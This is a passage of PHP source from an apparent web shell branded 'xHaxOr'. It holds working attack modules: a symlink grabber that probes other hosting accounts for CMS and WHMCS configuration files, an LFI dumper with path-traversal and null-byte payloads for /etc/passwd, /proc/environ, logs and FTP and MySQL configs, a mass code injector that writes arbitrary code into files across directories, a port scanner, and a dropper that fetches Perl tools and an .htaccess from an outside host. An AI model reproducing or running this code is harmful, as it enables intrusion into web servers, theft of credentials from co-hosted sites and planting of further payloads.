                        $c13 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/includes/configure.php\';
                        $ch13 = get_headers($c13);
                        $cf13 = $ch13[0];
                        $c14 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/include/app_config.php\';
                        $ch14 = get_headers($c14);
                        $cf14 = $ch14[0];
                        $c15 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/sites/default/settings.php\';
                        $ch15 = get_headers($c15);
                        $cf15 = $ch15[0];
                        
                        $out = \'&nbsp;\';
                        if(strpos($cf01,\'200\') == true)                                    {   $out = "<a href=\'".$c1."\' target=\'_blank\'>Wordpress</a>";   } 
                        elseif(strpos($cf02,\'200\') == true)                                {   $out = "<a href=\'".$c2."\' target=\'_blank\'>Wordpress</a>";   }
                        elseif(strpos($cf03,\'200\') == true && strpos($cf11,\'200\') == true) {   $out = " <a href=\'".$c11."\' target=\'_blank\'>WHMCS</a>";     }
                        elseif(strpos($cf09,\'200\') == true)                                {   $out = " <a href=\'".$c9."\' target=\'_blank\'>WHMCS</a>";      }
                        elseif(strpos($cf10,\'200\') == true)                                {   $out = " <a href=\'".$c10."\' target=\'_blank\'>WHMCS</a>";     }
                        elseif(strpos($cf03,\'200\') == true)                                {   $out = " <a href=\'".$c3."\' target=\'_blank\'>Joomla</a>";     }
                        elseif(strpos($cf04,\'200\') == true)                                {   $out = " <a href=\'".$c4."\' target=\'_blank\'>Joomla</a>";     }
                        elseif(strpos($cf05,\'200\') == true)                                {   $out = " <a href=\'".$c5."\' target=\'_blank\'>vBulletin</a>";  }
                        elseif(strpos($cf06,\'200\') == true)                                {   $out = " <a href=\'".$c6."\' target=\'_blank\'>vBulletin</a>";  }
                        elseif(strpos($cf07,\'200\') == true)                                {   $out = " <a href=\'".$c7."\' target=\'_blank\'>vBulletin</a>";  }
                        elseif(strpos($cf08,\'200\') == true)                                {   $out = " <a href=\'".$c7."\' target=\'_blank\'>Client Area</a>";  }
                        elseif(strpos($cf12,\'200\') == true)                                {   $out = " <a href=\'".$c7."\' target=\'_blank\'>Client Area</a>";  }
                        elseif(strpos($cf13,\'200\') == true)                                {   $out = " <a href=\'".$c7."\' target=\'_blank\'>osCommerce/Zen Cart</a>";  }
                        elseif(strpos($cf14,\'200\') == true)                                {   $out = " <a href=\'".$c7."\' target=\'_blank\'>Magento</a>";  }
                        elseif(strpos($cf15,\'200\') == true)                                {   $out = " <a href=\'".$c7."\' target=\'_blank\'>Drupal</a>";  }
                        else {
                            continue;
                        }
                        echo \'<tr><td>\'.$count++.\'</td><td><a href=http://www.\'.$domain[1][0].\'/>\'.$domain[1][0].\'</a></td><td>\'.$user[\'name\'].\'</td><td>\'.$out.\'</td></tr>\';
                        flush();
                    }
                }
            }
            echo "</table>";
        }
        echo "</center>";   
    }
    echo "</div>";
    BOFFFooter();
} 
function actionlfiscan() {
    BOFFHeader();
    print \'
   <h3>xHaxOr LFI File Dumper</h3>

   <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
      LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
         <option value="1">
            Access Log
         </option>

         <option value="2">
            httpd.conf
         </option>

         <option value="3">
            Error Log
         </option>
         <option value="4">
            php.ini
         </option>
         <option value="5">
            MySQL
         </option>
         <option value="6">
            FTP
         </option>
         <option value="7">
            Environ
         </option>
      </select> Null: <select name="null">
         <option value="%00">
            Yes
         </option>

         <option value="">
            No
         </option>
      </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
   </form>\';
   error_reporting(0);
      if($_POST[\'lfiurl\']) {
         print "<pre>";
         $cheader = $_POST[\'custom_header\'];
         $target = $_POST[\'lfiurl\'];
         $type = $_POST[\'scantype\'];
         $byte1 = $_POST[\'null\'];
         $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
         $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
         $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
         $lfiaccess = array(
            1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
            2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
            3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
            4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
            5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
            6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
            7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
            8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
            9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
            10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
            11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
            12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
            13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
            14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
            15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
            16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
            17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
            18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
            19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
            20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
            21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
            22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
            23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
       
         $lfierror = array(
            1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
            2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
            3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
            4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
            5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
            6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
            7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
            8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
            9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
            10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
            11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
            12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
            13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
            14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
            15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
            16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
            17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
            18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
            19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
            20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
            21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
            22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
            23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");

         $lficonfig = array(
            1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
            2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
            3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
            4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
            5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
            6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
            7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
            8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
            9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
            10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
            11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
            12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
            13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
            14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
            15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
            16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
            17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
            18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
            19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
            20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
            21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
            22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
            23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
            24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
            25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
            26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
            27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
            28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
            29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
            30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
            31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
            32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
            33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
            34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
            35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
               
          $lfiphpini = array(
            1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
            2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
            3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
            4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
            5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
            6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
            7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
            8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
            9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
            10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
            11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
            12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
            13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
            14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
            15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
            16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
            17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
            18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
            19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
            20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
            21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
            22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
            23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
            24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
            25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
            26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
            27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
       
          $lfimysql = array(
            1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
            2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
            3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
            4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
            5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
            6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
            7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
            8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
            9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
            10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
       
          $lfiftp = array(
            1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
            2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
            3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
            4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
            5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
            6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
            7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
            8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
            9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
            10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
            11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
            12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
            13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
            14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
            15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
            16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
            17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
            18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
            19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
            20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
            21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
            22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
            23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
            24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
            25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
            26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
            27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
            28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
            29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
            30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
            31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
            32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
            33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
            34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
            35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
            36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
            37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
            38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
            39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
            40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
            41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
            42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
            43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
            44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
       

         $x = 1;
         if ( $type == 1 ) {
            $res1 = FetchURL($target.$lfitest);
            $res2 = FetchURL($target.$lfitest2);
            $rhash1 = md5($res1);
            $rhash2 = md5($res2);
            if ($rhash1 != $rhash2) {
                print "<font color=\'#6b6b6b\'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";
            while($lfiaccess[$x]) {
                $res3 = FetchURL($target.$lfiaccess[$x]);
                $rhash3 = md5($res3);
                if ($rhash3 != $rhash2) {
                print "<font color=\'#6b6b6b\'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br  />";
                }
                else {             
                              print "<font color=\'red\'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br  />";
                }
                $x++;
      }
      }
         }
         if ( $type == 2 ) {
            $res1 = FetchURL($target.$lfitest);
            $res2 = FetchURL($target.$lfitest2);
            $rhash1 = md5($res1);
            $rhash2 = md5($res2);
            if ($rhash1 != $rhash2) {
                print "<font color=\'#6b6b6b\'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";
            while($lficonfig[$x]) {
                $res3 = FetchURL($target.$lficonfig[$x]);
                $rhash3 = md5($res3);
                if ($rhash3 != $rhash2) {
                print "<font color=\'#6b6b6b\'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br  />";
                }
                else {             
                              print "<font color=\'red\'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br  />";
                }
                $x++;
      }
      }
         }
         if ( $type == 3 ) {
            $res1 = FetchURL($target.$lfitest);
            $res2 = FetchURL($target.$lfitest2);
            $rhash1 = md5($res1);
            $rhash2 = md5($res2);
            if ($rhash1 != $rhash2) {
                print "<font color=\'#6b6b6b\'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";
            while($lfierror[$x]) {
                $res3 = FetchURL($target.$lfierror[$x]);
                $rhash3 = md5($res3);
                if ($rhash3 != $rhash2) {
                print "<font color=\'#6b6b6b\'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br  />";
                }
                else {             
                              print "<font color=\'red\'>[!] Failed!</font>".$target."".$lfierror[$x]."<br  />";
                }
                $x++;
      }
      }
         }
         if ( $type == 4 ) {
            $res1 = FetchURL($target.$lfitest);
            $res2 = FetchURL($target.$lfitest2);
            $rhash1 = md5($res1);
            $rhash2 = md5($res2);
            if ($rhash1 != $rhash2) {
                print "<font color=\'#6b6b6b\'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";
            while($lfiphpini[$x]) {
                $res3 = FetchURL($target.$lfiphpini[$x]);
                $rhash3 = md5($res3);
                if ($rhash3 != $rhash2) {
                print "<font color=\'#6b6b6b\'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br  />";
                }
                else {             
                              print "<font color=\'red\'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br  />";
                }
                $x++;
      }
      }
         }
         if ( $type == 5 ) {
            $res1 = FetchURL($target.$lfitest);
            $res2 = FetchURL($target.$lfitest2);
            $rhash1 = md5($res1);
            $rhash2 = md5($res2);
            if ($rhash1 != $rhash2) {
                print "<font color=\'#6b6b6b\'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";
            while($lfimysql[$x]) {
                $res3 = FetchURL($target.$lfimysql[$x]);
                $rhash3 = md5($res3);
                if ($rhash3 != $rhash2) {
                print "<font color=\'#6b6b6b\'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br  />";
                }
                else {             
                              print "<font color=\'red\'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br  />";
                }
                $x++;
      }
      }
         }
         if ( $type == 6 ) {
            $res1 = FetchURL($target.$lfitest);
            $res2 = FetchURL($target.$lfitest2);
            $rhash1 = md5($res1);
            $rhash2 = md5($res2);
            if ($rhash1 != $rhash2) {
                print "<font color=\'#6b6b6b\'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";
            while($lfiftp[$x]) {
                $res3 = FetchURL($target.$lfiftp[$x]);
                $rhash3 = md5($res3);
                if ($rhash3 != $rhash2) {
                print "<font color=\'#6b6b6b\'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br  />";
                }
                else {             
                              print "<font color=\'red\'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br  />";
                }
                $x++;
      }
      }
         }
if ( $type == 7 ) {
            $res1 = FetchURL($target.$lfitest);
            $res2 = FetchURL($target.$lfitest2);
            $rhash1 = md5($res1);
            $rhash2 = md5($res2);
            if ($rhash1 != $rhash2) {
                print "<font color=\'#6b6b6b\'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br  />";{
                $res3 = FetchURL($target.$lfiprocenv);
                $rhash3 = md5($res3);
                if ($rhash3 != $rhash2) {
                print "<font color=\'#6b6b6b\'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br  />";
                }
                else {             
                              print "<font color=\'red\'>[!] Failed!</font>".$target."".$lfiprocenv."<br  />";
                }
      }
      }
         }
      }

}
function actionInjector(){
    BOFFHeader();
    echo \'<h1>Mass Code Injector</h1>\';
    echo \'<div class="content">\';
    
    if(stristr(php_uname(),"Windows")) { $DS = "\"; } else if(stristr(php_uname(),"Linux")) { $DS = \'/\'; }
    function get_structure($path,$depth) {
        global $DS;
        $res = array();
        if(in_array(0, $depth)) { $res[] = $path; }
        if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
            $tmp1 = glob($path.$DS.\'*\',GLOB_ONLYDIR);
            if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
        }
        if(in_array(2, $depth) or in_array(3, $depth)) {
            $tmp2 = array();
            foreach($tmp1 as $t){
                $tp2 = glob($t.$DS.\'*\',GLOB_ONLYDIR);
                $tmp2 = array_merge($tmp2, $tp2);
            }
            if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
        }
        if(in_array(3, $depth)) {
            $tmp3 = array();
            foreach($tmp2 as $t){
                $tp3 = glob($t.$DS.\'*\',GLOB_ONLYDIR);
                $tmp3 = array_merge($tmp3, $tp3);
            }
            $res = array_merge($res,$tmp3);
        }
        return $res;
    }

    if(isset($_POST[\'submit\']) && $_POST[\'submit\']==\'Inject\') {
        $name = $_POST[\'name\'] ? $_POST[\'name\'] : \'*\';
        $type = $_POST[\'type\'] ? $_POST[\'type\'] : \'html\';
        $path = $_POST[\'path\'] ? $_POST[\'path\'] : getcwd();
        $code = $_POST[\'code\'] ? $_POST[\'code\'] : \'TheUnknowns\';
        $mode = $_POST[\'mode\'] ? $_POST[\'mode\'] : \'a\';
        $depth = sizeof($_POST[\'depth\']) ? $_POST[\'depth\'] : array(\'0\');
        $dt = get_structure($path,$depth);
        foreach ($dt as $d) {
            if($mode == \'a\') {
                if(file_put_contents($d.$DS.$name.\'.\'.$type, $code, FILE_APPEND)) {
                    echo \'<div><strong>\'.$d.$DS.$name.\'.\'.$type.\'</strong><span style="color:lime;"> was injected</span></div>\';
                } else {
                    echo \'<div><span style="color:red;">failed to inject</span> <strong>\'.$d.$DS.$name.\'.\'.$type.\'</strong></div>\';
                }
            } else {
                if(file_put_contents($d.$DS.$name.\'.\'.$type, $code)) {
                    echo \'<div><strong>\'.$d.$DS.$name.\'.\'.$type.\'</strong><span style="color:lime;"> was injected</span></div>\';
                } else {
                    echo \'<div><span style="color:red;">failed to inject</span> <strong>\'.$d.$DS.$name.\'.\'.$type.\'</strong></div>\';
                }
            }        
        }
    } else {
        echo \'<form method="post" action="">
                <table align="center">
                    <tr>
                        <td>Directory : </td>
                        <td><input class="box" name="path" value="\'.getcwd().\'" size="50"/></td>
                    </tr>
                    <tr>
                        <td class="title">Mode : </td>
                        <td>
                            <select style="width: 100px;" name="mode" class="box">
                                <option value="a">Apender</option>
                                <option value="w">Overwriter</option>
                            </select>
                        </td>
                    </tr>
                    <tr>
                        <td class="title">File Name & Type : </td>
                        <td>
                            <input type="text" style="width: 100px;" name="name" value="*"/>&nbsp;&nbsp;
                            <select style="width: 100px;" name="type" class="box">
                            <option value="html">HTML</option>
                            <option value="htm">HTM</option>
                            <option value="php" selected="selected">PHP</option>
                            <option value="asp">ASP</option>
                            <option value="aspx">ASPX</option>
                            <option value="xml">XML</option>
                            <option value="txt">TXT</option>
                        </select></td>
                    </tr>
                    <tr>
                        <td class="title">Code Inject Depth : </td>
                        <td>
                            <input type="checkbox" name="depth[]" value="0" checked="checked"/>&nbsp;0&nbsp;&nbsp;
                            <input type="checkbox" name="depth[]" value="1"/>&nbsp;1&nbsp;&nbsp;
                            <input type="checkbox" name="depth[]" value="2"/>&nbsp;2&nbsp;&nbsp;
                            <input type="checkbox" name="depth[]" value="3"/>&nbsp;3
                        </td>
                    </tr>        
                    <tr>
                        <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"></textarea></td>
                    </tr>                        
                    <tr>
                        <td colspan="2" style="text-align: center;">
                            <input type="hidden" name="a" value="Injector">
                            <input type="hidden" name="c" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
                            <input type="hidden" name="p1">
                            <input type="hidden" name="p2">
                            <input type="hidden" name="charset" value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
                            <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
                    </tr>
                </table>
        </form>\';
    }
    echo \'</div>\';
    BOFFFooter();
}
function actionPortScanner() {
    BOFFHeader();
    echo \'<h1>Port Scanner</h1>\';
    echo \'<div class="content">\';
    echo \'<form action="" method="post">\';
    
    if(isset($_POST[\'host\']) && is_numeric($_POST[\'end\']) && is_numeric($_POST[\'start\'])){
        $start = strip_tags($_POST[\'start\']);
        $end = strip_tags($_POST[\'end\']);
        $host = strip_tags($_POST[\'host\']);
        for($i = $start; $i<=$end; $i++){
            $fp = @fsockopen($host, $i, $errno, $errstr, 3);
            if($fp){
                echo \'Port \'.$i.\' is <font color=white>open</font><br>\';
            }
            flush();
        }
    } else {
        echo \'<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
              <input type="hidden" name="c" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
              <input type="hidden" name="charset" value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
              Host: <input type="text" name="host" value="localhost"/><br /><br />
              Port start: <input type="text" name="start" value="0"/><br /><br />
              Port end:<input type="text" name="end" value="5000"/><br /><br />
              <input type="submit" value="Scan Ports" />
              </form></center><br /><br />\';
    }
    echo \'</div>\';
    BOFFFooter();    
}
function actionPSymlink() {

BOFFHeader();
echo "<center>";   

	$telnetfile = \'telnet213\'; // Perl tools file
	
	$link = "http://www.xHaxOr.com"; // Tools source link (without slash \'/\' in end)
	
	$perlfiles=array(".htaccess","users.gif","izo.gif","config.gif");

	$name =basename( $_SERVER[ \'PHP_SELF\' ] ); // Returns trailing name component of path.
	$url0= "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
	$url= str_replace("$name", \'\', $url0);
	
	// Style :
	echo"<h3>- PERL TOOLS:</h3>";

	if (!file_exists($telnetfile))
	{
		@mkdir($telnetfile);
		@chmod("$telnetfile", 0755); 

	}
	if (file_exists($telnetfile))
	{
		
	foreach($perlfiles as $file){
	
	$tool = fopen("$telnetfile/$file" ,"w+");
	 if (@eregi(\'htaccess\', $file)) {
	 $file= str_replace(".", \'\', $file);
	 }
	$toolcontents=@file_get_contents("$link/perl/$file.txt");
	$write = fwrite ($tool ,$toolcontents);
	fclose($tool);
	if ($write) {
	if (@eregi(\'htaccess\', $file)) {
	$file=".$file";
	 }
	echo "<font color=#6b6b6b>The <b>$file</b> File Was Created Successfully.==><a href=\'$url/$telnetfile/$file\' target=\'_blank\'><u>$file</u></a></font><br>";
	}
	else {
